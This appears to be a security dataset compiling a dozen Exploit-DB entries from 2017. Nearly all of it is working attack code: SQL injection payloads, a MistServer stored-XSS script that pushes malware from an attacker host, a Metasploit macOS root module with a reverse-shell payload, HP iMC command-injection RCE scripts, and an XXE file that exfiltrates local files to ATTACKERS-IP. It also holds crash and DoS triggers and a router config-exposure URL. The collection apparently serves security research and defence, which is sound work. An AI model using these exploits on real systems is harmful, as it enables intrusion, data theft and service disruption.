QLWD/code_shield huggingface dataset:
标题: Readymade Classifieds Script 1.0 - SQL Injection EDB-ID: 43212 CVE: 2017-17111 类型: WEBAPPS 平台: PHP 发布日期: 2017-12-05 漏洞利用脚本: # # # # # 
# Exploit Title: Readymade Classifieds Script 1.0 - SQL Injection
# Dork: N/A
# Date: 02.12.2017
# Vendor Homepage: http://www.scubez.net/
# Software Link: http://www.posty.in/index.html
# Demo: http://www.posty.in/readymade-classifieds-demo.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# 
# http://localhost/[PATH]/listings.php?catid=[SQL]
# 
# -1++/*!08888UNION*/((/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)))--+-
# 
# Parameter: catid (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: catid=-7326' OR 9205=9205#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: catid=' AND SLEEP(5)-- tCbs
#  
# 2)
# 
# http://localhost/[PATH]/ads-details.php?ID=[SQL]
# 
# -265++/*!08888UNION*/(/*!08888SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26))--+-
# 
# Parameter: ID (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: ID=265 AND 4157=4157
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: ID=265 AND SLEEP(5)
# 
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 26 columns
#     Payload: ID=-5939 UNION ALL SELECT NULL,NULL,CONCAT(0x716a626271,0x664f68565771437a5444554e794f547462774e65574f43616b767945464c416d524b646f48675a67,0x71787a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZIaY
# 
# Etc..
# # # # #

 


http://server/listings.php?catid=-1++/*!08888UNION*/((/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)))--+-

http://server/ads-details.php?ID=-265++/*!08888UNION*/(/*!08888SELECT*/(1),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26))--+- URL: https://www.exploit-db.com/exploits/43212
标题: MistServer 2.12 - Cross-Site Scripting EDB-ID: 43205 CVE: 2017-16884 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2017-12-01 漏洞利用脚本: [+] Credits: John Page (aka Hyp3rlinX)  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MIST-SERVER-v2.12-UNAUTHENTICATED-PERSISTENT-XSS-CVE-2017-16884.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mistserver.org



Product:
===========
MistServer v2.12


MistServer is a full-featured, next-generation streaming media toolkit for OTT (internet streaming).



Vulnerability Type:
===================
Unauthenticated Persistent XSS



CVE Reference:
==============
CVE-2017-16884



Security Issue:
================
Unauthenticated remote attackers can inject persistent XSS payloads by making failed HTTP authentication requests. Attacker supplied payloads will
get stored in the server logs as failed authentication requests alerts. Mistserver echoes back the unsanitized payloads in Mist Servers Web interface
automatically due to automatic refresh of the UI every few seconds, thereby, executing arbitrary attacker supplied code. 



References:
============
https://news.mistserver.org/news/78/Stable+release+2.13+now+available%21



Exploit/POC:
=============
import requests

#INJECT IFRAME
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP\'></iframe>"}}')

#PUSH MALWARE
requests.get('http://VICTIM-IP:4242/admin/api?callback=&command={"authorize":{"password":"666","username":"<iframe src=\'http://ATTACKER-IP/bad.exe\'></iframe>"}}')

#EXFIL LOGS
requests.get('http://VICTIM-IP:4242/admin/api?command={"authorize":{"password":"666","username":"<script>alert(document.body.innerHTML)</script>"}}')



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  October 19, 2017
Vendor Acknowledgement : October 20, 2017
Vendor Released Fix : November 30, 2017
December 1, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx URL: https://www.exploit-db.com/exploits/43205
标题: Techno Portfolio Management Panel - 'id' SQL Injection EDB-ID: 43211 CVE: 2017-17110 类型: WEBAPPS 平台: PHP 发布日期: 2017-12-05 漏洞利用脚本: # # # # # 
# Exploit Title: Techno - Portfolio Management Panel 1.0 - SQL Injection
# Dork: N/A
# Date: 02.12.2017
# Vendor Homepage: https://codecanyon.net/user/engtechno
# Software Link: https://codecanyon.net/item/techno-portfolio-management-panel/20919551
# Demo: http://dacy.esy.es/eng/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/single.php?id=[SQL]
# 
# -14++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x283429,0x283529,0x283629,0x283729,(/*!08888SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+/*!08888FROM*/+INFORMATION_SCHEMA.TABLES+/*!08888WHERE*/+TABLE_SCHEMA=DATABASE()),0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# Etc..
# # # # #



http://server/single.php?id=-14++/*!08888UNION*/(/*!08888SELECT*/0x283129,0x283229,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x283429,0x283529,0x283629,0x283729,(/*!08888SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+/*!08888FROM*/+INFORMATION_SCHEMA.TABLES+/*!08888WHERE*/+TABLE_SCHEMA=DATABASE()),0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-

u633631124_dacy@server : u633631124_dacy : 10.1.24-MariaDB

(7)categories
feedback
messages
notes
portfolio
settings
uploads
users
wp_commentmeta
wp_comments
etc.... URL: https://www.exploit-db.com/exploits/43211
标题: Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation (Metasploit) EDB-ID: 43201 CVE: 2017-13872 类型: LOCAL 平台: MACOS 发布日期: 2017-11-30 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Mac OS X Root Privilege Escalation',
      'Description'   => %q{
        This module exploits a serious flaw in MacOSX High Sierra.
        Any user can login with user "root", leaving an empty password.
      },
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
        ],
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64,
      'DefaultOptions' =>
      {
        'PAYLOAD'      => 'osx/x64/meterpreter_reverse_tcp',
      },
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Nov 29 2017'
    ))
  end

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end URL: https://www.exploit-db.com/exploits/43201
标题: WordPress Plugin WooCommerce 2.0/3.0 - Directory Traversal EDB-ID: 43196 CVE: 2017-17058 类型: WEBAPPS 平台: PHP 发布日期: 2017-11-28 漏洞利用脚本: # Exploit Title: WordPress woocommerce  directory traversal
# Date: 28-11-2017
# Software Link: https://wordpress.org/plugins/woocommerce/
# Exploit Author:fu2x2000
# Contact: fu2x2000@gmail.com
# Website:
# CVE:2017-17058
#Version:Tested on WordPress 4.8.3 woocommerce 2.0/3.0
# Category: webapps


1. Description

Identifying woo commerce theme pluging properly sanitized against Directory
Traversal,even the latest version of WordPress with woocommerce can be
vulnerable.

2. Proof of Concept

$woo = "www/wp-content/plugins/woocommerce/templates/emails/plain/"; `
function file_get_contents_utf8($fn) {
    $opts = array(
        'http' => array(
            'method'=>"GET",
            'header'=>"Content-Type: text/html; charset=utf-8"
        )
    );

    $wp = stream_context_create($opts);
    $result = @file_get_contents($fn,false,$wp);
    return $result;
}
/* $head= header("Content-Type: text/html; charset=utf-8"); ; */
header("Content-Type: text/html; charset=utf-8");

$result = file_get_contents_utf8("http://".$woo);

echo $result;


Regards

Fu2x200 URL: https://www.exploit-db.com/exploits/43196
标题: HP iMC Plat 7.2 - Remote Code Execution EDB-ID: 43195 CVE: 2017-5817 类型: REMOTE 平台: WINDOWS 发布日期: 2017-11-28 漏洞利用脚本: #!/opt/local/bin/python2.7

# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10007 Command Injection RCE
# Date: 11-28-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5817
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-341/

# note that this PoC will create a file 'C:\poc.txt'

import socket, sys

ip = '192.168.1.74'
port = 2810

command = "echo PoC 12345 > C:\\poc.txt" # command to run

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

buf = "\x00\x00\x27\x17\x00\x00\x00"
buf += chr(109 + 10 + len(command))
buf += "\x30\x81"
buf += chr(109 + 7 + len(command))
buf += "\x04\x0c"
buf += ip
buf += ("\x04\x04\x41\x41\x41\x41\x04"
"\x04\x42\x42\x42\x42\x04\x04\x43\x43\x43\x43\x02\x01\x01\x02\x01"
"\x03\x04\x06\x4d\x41\x4e\x55\x41\x4c\x04\x04\x44\x44\x44\x44\x04")
buf += chr(len(command) + 7)
buf += "\x73\x61\x22\x26\x20"
buf += command
buf += ("\x20\x26\x04\x08\x70\x61\x73\x73\x77\x6f\x72\x64\x04"
"\x04\x00\x00\x04\x57\x04\x08\x69\x6e\x73\x74\x61\x6e\x63\x65\x04"
"\x04\x45\x45\x45\x45\x04\x04\x46\x46\x46\x46\x04\x04\x47\x47\x47"
"\x47\x04\x04\x48\x48\x48\x48\x30\x00\x02\x01\x01")
sock.send(buf)

sock.close() URL: https://www.exploit-db.com/exploits/43195
标题: Diving Log 6.0 - XML External Entity Injection EDB-ID: 43187 CVE: 2017-9095 类型: LOCAL 平台: WINDOWS 发布日期: 2017-11-27 漏洞利用脚本: [+] Exploit Title: Diving Log 6.0 XXE Injection
[+] Date: 27-11-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.divinglog.de
[+] Software Link: http://www.divinglog.de/english/download/
[+] Disclosed at: https://thenopsled.com/divinglog.txt
[+] Version: 6.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-9095

==================
Background:
==================
Diving Log 6.0 is a scuba diving log software that manages and consolidates logs from other disparate sources.  Many scuba diving log software programs export their data in an XML file. 

==================
Vulnerability:
==================
By having a user import a crafted dive.xml file (very common, many divers share logs), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
1.)Open Diving Log 6.0
2.)Close "Welcome Center" popup and select "Import" from the bottom left corner
3.)Select "Subsurface" from the list of import data types.
4.)"Open File" and select the crafted dive.xml file (with listener open on ATTACKERS-IP)

==================
Proof of Concept:
==================

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="utf-8" ?>
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">


c.) Exploited "dive.xml"

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % sp SYSTEM "http://ATTACKERS-IP/payload.dtd">
%sp;
%param1;
%exfil;
]>
<divelog program='subsurface' version='3'>
<settings>
</settings>
<divesites>
<site uuid='33a32a07' name='hacked'>
</site>
</divesites>
<dives>
<dive number='1' divesiteid='33a32a07' date='2017-05-15' time='14:49:10' duration='46:00 min'>
  <notes></notes>
  <cylinder size='11.1 l' workpressure='207.0 bar' description='unknown' />
  <divecomputer model='manually added dive'>
  <depth max='15.0 m' mean='13.37 m' />
  <surface pressure='1.013 bar' />
  <sample time='0:00 min' depth='0.0 m' />
  <sample time='3:00 min' depth='15.0 m' />
  <sample time='40:00 min' depth='15.0 m' />
  <sample time='42:00 min' depth='5.0 m' />
  <sample time='45:00 min' depth='5.0 m' />
  <sample time='46:00 min' depth='0.0 m' />
  </divecomputer>
</dive>
</dives>
</divelog>

==================
Additional Attack Vectors:
==================
I tested and exploited the "subsurface" import option, however MANY other dive log software programs use XML and most are available as Import options in Diving Log 6.0.  This XXE injection vulnerability is most likely vulnerable in every import option that utilizes XML for the underlying custom file format(.UDCF and .UDDF, for example). URL: https://www.exploit-db.com/exploits/43187
标题: HP iMC Plat 7.2 - Remote Code Execution (2) EDB-ID: 43198 CVE: 2017-5816 类型: REMOTE 平台: WINDOWS 发布日期: 2017-11-29 漏洞利用脚本: #!/opt/local/bin/python2.7

# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10008 Command Injection RCE
# Date: 11-29-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5816
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-340/

# note that this PoC will create a file 'C:\10008.txt'

from pyasn1.type.univ import *
from pyasn1.type.namedtype import *
from pyasn1.codec.ber import encoder
import struct
import binascii
import socket, sys

ip = '192.168.1.74'
port = 2810
payload = "whoami > C:\\10008.txt"
opcode = 10008

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

class DbmanMsg(Sequence):
    componentType = NamedTypes(
        NamedType('dbIp', OctetString()),
        NamedType('iDBType', Integer()),
        NamedType('dbInstance', OctetString()),
        NamedType('dbSaUserName', OctetString()),
        NamedType('dbSaPassword', OctetString()),
        NamedType('strOraDbIns', OctetString())
    )

msg = DbmanMsg()

msg['dbIp'] = ip
msg['iDBType'] = 4
msg['dbInstance'] = "a\"& " + payload + " &"
msg['dbSaUserName'] = "b"
msg['dbSaPassword'] = "c"
msg['strOraDbIns'] = "d"

encodedMsg = encoder.encode(msg, defMode=True)
msgLen = len(encodedMsg)
values = (opcode, msgLen, encodedMsg)
s = struct.Struct(">ii%ds" % msgLen)
packed_data = s.pack(*values)

sock.send(packed_data)
sock.close() URL: https://www.exploit-db.com/exploits/43198
标题: KMPlayer 4.2.2.4 - Denial of Service EDB-ID: 43185 CVE: 2017-16952 类型: DOS 平台: WINDOWS 发布日期: 2017-11-22 漏洞利用脚本: #!/usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4 
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
# http://cdn.kmplayer.com/KMP/Download/release/chrome/4.2.2.4/KMPlayer_4.2.2.4.exe
# (D.P)

open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
 
close(code); URL: https://www.exploit-db.com/exploits/43185
标题: Winamp Pro 5.66.Build.3512 - Denial of Service EDB-ID: 43186 CVE: 2017-16951 类型: DOS 平台: WINDOWS 发布日期: 2017-11-22 漏洞利用脚本: #!/usr/bin/perl
# Exploit Title: Winamp Pro (.wav|.wmv|.au|.asf|.aiff|.aif ) Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v5.66.Build.3512
# Tested on: Windows 10 , Windows 7
# other version should be affected
# CVE-2017-16951
# http://meggamusic.co.uk/winamp/winamp5666_full_en-us_redux.exe
# (D.P)
open(code, ">winamp.wav") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x13\x00\x13\x00\x12\x00\x14\x00\x14\x00";


print code $data;
 
close(code); URL: https://www.exploit-db.com/exploits/43186
标题: Exim 4.89 - 'BDAT' Denial of Service EDB-ID: 43184 CVE: 2017-16944 类型: DOS 平台: MULTIPLE 发布日期: 2017-11-27 漏洞利用脚本: While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0


Part of debug info
============================
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30295 child 30502 ended: status=0x8b
15:36:54 30295   signal exit, signal 11 (core dumped)
15:36:54 30295 1 SMTP accept process now running
15:36:54 30295 Listening...
============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

// Tested on current master, ubuntu16.04. URL: https://www.exploit-db.com/exploits/43184
标题: ZTE ZXDSL 831CII - Improper Access Restrictions EDB-ID: 43188 CVE: 2017-16953 类型: WEBAPPS 平台: HARDWARE 发布日期: 2017-11-27 漏洞利用脚本: # Exploit Title: ZTE ZXDSL 831 Unauthorized Configuration Access
# Date: 27/11/2017
# Exploit Author: Ibad Shah
# Vendor Homepage: zte.com.cn
# Software Link: -
# Version: - ZXDSL - 831CII
# Tested on: Windows 10
# CVE :- 2017-16953

======================================= 
The Router usually servers html files & are protected with HTTP Basic
Authentication. However, the CGI files does not protect this file from
getting exposed to public. A Simple GET request would be needed to
made to router that would give a remote attacker an opportunity to
modify router PPPoE configurations, setup malicious configurations
which later could lead to disrupt network & its activities.


Proof Of Concept
================
http://192.168.1.1/connoppp.cgi URL: https://www.exploit-db.com/exploits/43188
标题: QEMU - NBD Server Long Export Name Stack Buffer Overflow EDB-ID: 43194 CVE: 2017-15118 类型: DOS 平台: LINUX 发布日期: 2017-11-29 漏洞利用脚本: Introduced in commit f37708f6b8 (2.10).  The NBD spec says a client
can request export names up to 4096 bytes in length, even though
they should not expect success on names longer than 256.  However,
qemu hard-codes the limit of 256, and fails to filter out a client
that probes for a longer name; the result is a stack smash that can
potentially give an attacker arbitrary control over the qemu
process.

The smash can be easily demonstrated with this client:

$ qemu-io f raw nbd://localhost:10809/$(printf %3000d 1 | tr ' ' a)

If the qemu NBD server binary (whether the standalone qemu-nbd, or
the builtin server of QMP nbd-server-start) was compiled with
-fstack-protector-strong, the ability to exploit the stack smash
into arbitrary execution is a lot more difficult (but still
theoretically possible to a determined attacker, perhaps in
combination with other CVEs).  Still, crashing a running qemu (and
losing the VM) is bad enough, even if the attacker did not obtain
full execution control. URL: https://www.exploit-db.com/exploits/43194